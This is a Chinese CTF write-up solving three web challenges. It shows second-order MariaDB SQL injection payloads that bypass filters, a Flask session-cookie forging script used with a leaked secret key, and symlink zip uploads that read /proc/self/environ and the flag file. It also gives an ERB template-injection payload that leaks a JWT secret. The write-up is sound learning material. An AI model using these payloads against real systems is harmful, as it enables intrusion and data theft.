一直想着复现来着,记事本里也记录了几个月了…🤣
Web1 二次注入、无列名查询,对MariaDB
过滤information_schema
的注入。
题目分析 进入题目注册并登陆之后,发现可以发布广告,并且在广告名的地方存在二次注入
(提交内容的时候注入不执行,查询的时候才执行),经过测试发现or
被ban了,同时空格也会被替换为空,因此需要利用/**/
绕过对空格的过滤。 既然or
被ban掉了,那么便不能再利用order by
注入查列数了,此时只能直接利用union select
进行列名的遍历了。 在测试的过程中发现了后台数据库是MariaDB
同时or
被ban掉,因此information_schema
不能用,此时想到利用mysql.innodb_table_stats
来查表名(这个地方可以参考:https://mariadb.com/kb/en/mysqlinnodb_table_stats/),但是无法获取列名,因此最终获取flag需要借助`无列名注入`了(参考:https://blog.csdn.net/chasingin/article/details/103476001)。
现在思路就很明确了,首先利用union select
测试出列数,然后利用mysql.innodb_table_stats
查出表名,最后无列名注入拿到flag。
解题 首先查列数:
-1'/**/union/**/select/**/1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'22
利用mysql.innodb_table_stats
查表名:
-1'/**/union/**/select/**/1,(select/**/group_concat(table_name)/**/from/**/mysql.innodb_table_stats),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'22
将列转换为行,进行无列名注入:
-1'union/**/select/**/1,(select/**/group_concat(b)/**/from(select/**/1,2,3/**/as/**/b/**/union/**/select*from/**/users)x),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'22
另外补充一点,如果后台数据库是mysql
,但是information_schema
被ban掉之后,如果mysql
没有开启innodb存储引擎
则可利用sys数据库``schema_auto_increment_columns
和schema_table_statistics_with_buffer
来绕过,但是本题后台数据库是MariaDB
,上述方法便不可用,不过给一下我做题的时候测试的payload,遇到类似题目可能用得上:
-1'union/**/select/**/1,(select/**/group_concat(table_name)from/**/sys.schema_auto_increment_column/**/where/**/table_schema=database()),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'22 -1'union/**/select/**/1,(select/**/group_concat(table_name)from/**/sys.schema_table_statistics_with_buffer/**/where/**/table_schema=database()),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'22
然后再利用join
或join...using
进行无列名查询即可。 绕过information_schema
可以参考:https://www.anquanke.com/post/id/193512
easy_python 考察JWT伪造攻击,软链接任意文件读取
题目分析 进入题目是一个登录框,任意用户名密码登录,发现可以进行文件上传:
直接点按钮反馈没有权限…
看源码发现了404 not found
的提示,网上的wp是这么说的:
在flask
中,可以使用app.errorhandler()
装饰器来注册错误处理函数,参数是HTTP 错误状态码
或者特定的异常类
,由此我们可以联想到在404
错误中会有东西存在。
那么我们构造一个任意的文件到url中去访问,看一下回显:
发现响应头中存在Swpuctf_csrf_token: U0VDUkVUX0tFWTprZXlxcXF3d3dlZWUhQCMkJV4mKg==
解码得到:SECRET_KEY:keyqqqwwweee!@#$%^&*
结合前面的权限要求,猜测是JWT伪造了,但是这个题中的JWT直接去解base64的结果是这样的:{"id":{" b":"MTAw"},"is_login":true,"password":"123","username":"123"}
期初一直以这种结构去伪造,服务器就老是反馈500 error
,后来参考网上一篇wp中讲的解JWT用的是如下的代码:
""" Flask Session Cookie Decoder/Encoder """ __author__ = 'Wilson Sumanang, Alexandre ZANNI' import sysimport zlibfrom itsdangerous import base64_decodeimport astif sys.version_info[0 ] < 3 : raise Exception('Must be using at least Python 3' ) elif sys.version_info[0 ] == 3 and sys.version_info[1 ] < 4 : from abc import ABCMeta, abstractmethod else : from abc import ABC, abstractmethod import argparsefrom flask.sessions import SecureCookieSessionInterfaceclass MockApp (object) : def __init__ (self, secret_key) : self.secret_key = secret_key if sys.version_info[0 ] == 3 and sys.version_info[1 ] < 4 : class FSCM (metaclass=ABCMeta) : def encode (secret_key, session_cookie_structure) : """ Encode a Flask session cookie """ try : app = MockApp(secret_key) session_cookie_structure = dict(ast.literal_eval(session_cookie_structure)) si = SecureCookieSessionInterface() s = si.get_signing_serializer(app) return s.dumps(session_cookie_structure) except Exception as e: return "[Encoding error] {}" .format(e) raise e def decode (session_cookie_value, secret_key=None) : """ Decode a Flask cookie """ try : if (secret_key==None ): compressed = False payload = session_cookie_value if payload.startswith('.' ): compressed = True payload = payload[1 :] data = payload.split("." )[0 ] data = base64_decode(data) if compressed: data = zlib.decompress(data) return data else : app = MockApp(secret_key) si = SecureCookieSessionInterface() s = si.get_signing_serializer(app) return s.loads(session_cookie_value) except Exception as e: return "[Decoding error] {}" .format(e) raise e else : class FSCM (ABC) : def encode (secret_key, session_cookie_structure) : """ Encode a Flask session cookie """ try : app = MockApp(secret_key) session_cookie_structure = dict(ast.literal_eval(session_cookie_structure)) si = SecureCookieSessionInterface() s = si.get_signing_serializer(app) return s.dumps(session_cookie_structure) except Exception as e: return "[Encoding error] {}" .format(e) raise e def decode (session_cookie_value, secret_key=None) : """ Decode a Flask cookie """ try : if (secret_key==None ): compressed = False payload = session_cookie_value if payload.startswith('.' ): compressed = True payload = payload[1 :] data = payload.split("." )[0 ] data = base64_decode(data) if compressed: data = zlib.decompress(data) return data else : app = MockApp(secret_key) si = SecureCookieSessionInterface() s = si.get_signing_serializer(app) return s.loads(session_cookie_value) except Exception as e: return "[Decoding error] {}" .format(e) raise e if __name__ == "__main__" : parser = argparse.ArgumentParser( description='Flask Session Cookie Decoder/Encoder' , epilog="Author : Wilson Sumanang, Alexandre ZANNI" ) subparsers = parser.add_subparsers(help='sub-command help' , dest='subcommand' ) parser_encode = subparsers.add_parser('encode' , help='encode' ) parser_encode.add_argument('-s' , '--secret-key' , metavar='<string>' , help='Secret key' , required=True ) parser_encode.add_argument('-t' , '--cookie-structure' , metavar='<string>' , help='Session cookie structure' , required=True ) parser_decode = subparsers.add_parser('decode' , help='decode' ) parser_decode.add_argument('-s' , '--secret-key' , metavar='<string>' , help='Secret key' , required=False ) parser_decode.add_argument('-c' , '--cookie-value' , metavar='<string>' , help='Session cookie value' , required=True ) args = parser.parse_args() if (args.subcommand == 'encode' ): if (args.secret_key is not None and args.cookie_structure is not None ): print(FSCM.encode(args.secret_key, args.cookie_structure)) elif (args.subcommand == 'decode' ): if (args.secret_key is not None and args.cookie_value is not None ): print(FSCM.decode(args.cookie_value,args.secret_key)) elif (args.cookie_value is not None ): print(FSCM.decode(args.cookie_value))
用法如下:
解密:python flask_session_manager.py decode -c -s 加密:python flask_session_manager.py encode -s -t
按照这个代码解JWT结果如下:
python3 flask_session_manager.py decode -c "eyJpZCI6eyIgYiI6Ik1UQXcifSwiaXNfbG9naW4iOnRydWUsInBhc3N3b3JkIjoiMTIzIiwidXNlcm5hbWUiOiIxMjMifQ.XnSqQQ.0VoijfPiLI6lwy9zvZ-yk5U5Lv8" -s "keyqqqwwweee!@#$%^&*" {'id' : b'100' , 'is_login' : True , 'password' : '123' , 'username' : '123' } 这里就可以看出不一样了,现在还没搞懂原因...
python3 flask_session_manager.py encode -s "keyqqqwwweee!@#$%^&*" -t "{'id': b'1', 'is_login': True, 'password': '123', 'username': '123'}" eyJpZCI6eyIgYiI6Ik1RPT0ifSwiaXNfbG9naW4iOnRydWUsInBhc3N3b3JkIjoiMTIzIiwidXNlcm5hbWUiOiIxMjMifQ.XnSu2A.SeLyR45y3lQcF1dRjwzQw5Y-3 TE 这里我们伪造id:b'1' 的用户session进行登录
利用伪造的session,成功登录:
查看源码如下:
@app.route('/upload',methods=['GET','POST']) def upload () : if session['id' ] != b'1' : return render_template_string(temp) if request.method=='POST' : m = hashlib.md5() name = session['password' ] name = name+'qweqweqwe' name = name.encode(encoding='utf-8' ) m.update(name) md5_one= m.hexdigest() n = hashlib.md5() ip = request.remote_addr ip = ip.encode(encoding='utf-8' ) n.update(ip) md5_ip = n.hexdigest() f=request.files['file' ] basepath=os.path.dirname(os.path.realpath(__file__)) path = basepath+'/upload/' +md5_ip+'/' +md5_one+'/' +session['username' ]+"/" path_base = basepath+'/upload/' +md5_ip+'/' filename = f.filename pathname = path+filename if "zip" != filename.split('.' )[-1 ]: return 'zip only allowed' if not os.path.exists(path_base): try : os.makedirs(path_base) except Exception as e: return 'error' if not os.path.exists(path): try : os.makedirs(path) except Exception as e: return 'error' if not os.path.exists(pathname): try : f.save(pathname) except Exception as e: return 'error' try : cmd = "unzip -n -d " +path+" " + pathname if cmd.find('|' ) != -1 or cmd.find(';' ) != -1 : waf() return 'error' os.system(cmd) except Exception as e: return 'error' unzip_file = zipfile.ZipFile(pathname,'r' ) unzip_filename = unzip_file.namelist()[0 ] if session['is_login' ] != True : return 'not login' try : if unzip_filename.find('/' ) != -1 : shutil.rmtree(path_base) os.mkdir(path_base) return 'error' image = open(path+unzip_filename, "rb" ).read() resp = make_response(image) resp.headers['Content-Type' ] = 'image/png' return resp except Exception as e: shutil.rmtree(path_base) os.mkdir(path_base) return 'error' return render_template('upload.html' ) @app.route('/showflag') def showflag () : if True == False : image = open(os.path.join('./flag/flag.jpg' ), "rb" ).read() resp = make_response(image) resp.headers['Content-Type' ] = 'image/png' return resp else : return "can't give you"
以正常逻辑来看,这里的功能就是客户端上传一个压缩后的图片,服务端会解压缩后并读取图片返回客户端。这里我们可以上传一个软链接压缩包
,来读取其他敏感文件而不是我们上传的文件。
结合 showflag()
函数的源码,我们可以得知 flag.jpg
放在 flask 应用根目录的flag
目录下。那么我们只要创建一个到/xxx/flask/flag/flag.jpg
的软链接,即可读取 flag.jpg
文件。
两种方式构造:
1、在 linux 中,/proc/self/cwd/
会指向进程的当前目录,那么在不知道 flask 工作目录时,我们可以用/proc/self/cwd/flag/flag.jpg
来访问 flag.jpg。
命令如下:
ln -s /proc/self/cwd/flag/flag.jpg qwe
zip -ry qwe.zip qwe
2、在 linux 中,/proc/self/environ
文件里包含了进程的环境变量,可以从中获取 flask 应用的绝对路径,再通过绝对路径制作软链接来读取 flag.jpg (PS:在浏览器中,我们无法直接看到/proc/self/environ
的内容,只需要下载到本地,用 notepad++打开即可)
命令如下:
ln -s /proc/self/environ qqq
zip -ry qqq.zip qqq
ln -s /ctf/hgfjakshgfuasguiasguiaaui/myflask/flag/flag.jpg www
zip -ry [www.zip\]\(http://www.zip\) www
解题 在上一步中,我们已经成功拿到上传的权限了,现在到linux中生成读取flag的软连接,上传之后服务端回显如下:
因为是一个有问题的图片,无法显示,其实就是BUU改了,它本质上还是一个txt,下载下来即可拿到flag。
Flag Shop 考察JWT伪造,ruby的ERB模板注入。后者是第一次接触
题目分析 进入题目发现可以买flag,但是很贵,这个时候又可以进行work拿jkl,这点到啥时候去啊…
不过存在robots.txt,提示了filebake
的存在:
访问fileback
拿到源码:
require 'sinatra' require 'sinatra/cookies' require 'sinatra/json' require 'jwt' require 'securerandom' require 'erb' set :public_folder , File.dirname(__FILE__ ) + '/static' FLAGPRICE = 1000000000000000000000000000 ENV["SECRET" ] = SecureRandom.hex(64 ) configure do enable :logging file = File.new(File.dirname(__FILE__ ) + '/../log/http.log' ,"a+" ) file.sync = true use Rack::CommonLogger, file end get "/" do redirect '/shop' , 302 end get "/filebak" do content_type :text erb IO.binread __FILE__ end get "/api/auth" do payload = { uid: SecureRandom.uuid , jkl: 20 } auth = JWT.encode payload,ENV["SECRET" ] , 'HS256' cookies[:auth ] = auth end get "/api/info" do islogin auth = JWT.decode cookies[:auth ],ENV["SECRET" ] , true , { algorithm: 'HS256' } json({uid: auth[0 ]["uid" ],jkl: auth[0 ]["jkl" ]}) end get "/shop" do erb :shop end get "/work" do islogin auth = JWT.decode cookies[:auth ],ENV["SECRET" ] , true , { algorithm: 'HS256' } auth = auth[0 ] unless params[:SECRET ].nil ? if ENV["SECRET" ].match("#{params[:SECRET ].match(/[0-9a-z]+/ )} " ) puts ENV["FLAG" ] end end if params[:do ] == "#{params[:name ][0 ,7 ]} is working" then auth["jkl" ] = auth["jkl" ].to_i + SecureRandom.random_number(10 ) auth = JWT.encode auth,ENV["SECRET" ] , 'HS256' cookies[:auth ] = auth ERB::new("<script>alert('#{params[:name ][0 ,7 ]} working successfully!')</script>" ).result end end post "/shop" do islogin auth = JWT.decode cookies[:auth ],ENV["SECRET" ] , true , { algorithm: 'HS256' } if auth[0 ]["jkl" ] < FLAGPRICE then json({title: "error" ,message: "no enough jkl" }) else auth << {flag: ENV["FLAG" ]} auth = JWT.encode auth,ENV["SECRET" ] , 'HS256' cookies[:auth ] = auth json({title: "success" ,message: "jkl is good thing" }) end end def islogin if cookies[:auth ].nil ? then redirect to('/shop' ) end end
代码是ruby写的,还没学…不过从代码中可以看到出现了JWT
,应该跟JWT伪造有关,稍微审一下代码发现jkl
指的应该就是金币数量,同uid一起写进了cookie里,抓个包拿jwt解密看看:
可以看到jkl
的值为28
,也就是现有的金币数,那应该就是要伪造JWT
来买到flag了,但是伪造需要SECRET
,现在我们并没有,怎么办?
在/work
路由下有这么一段代码:
ERB::new("<script>alert('#{params[:name ][0 ,7 ]} working successfully!')
这里我们可以控制,但是只有7个字符,参考题解说是ERB模板注入
,这里可以用ruby的预定义字符$
对匹配的字符串进行读取,从而获取SECRET
,l利用点当然也就在/work
路由下了,可以抓包看看:
根据参数构造payload如下:
/work?SECRET=&name=%3c%25%3d%24%27%25%3e&do=%3c%25%3d%24%27%25%3e%20is%20working 即 /work?SECRET=&name=<%=$'%>&do=<%=$'%> is working
执行结果如下:
拿到SECRET之后,进行JWT伪造:
然后buy flag
抓包进行替换即可买到flag:
由响应结果可以看到,已经成功买到了flag,但是响应中并没有啊,因为在代码中可以看到,flag其实被写入到了相应的JWT中,再去解密即可拿到。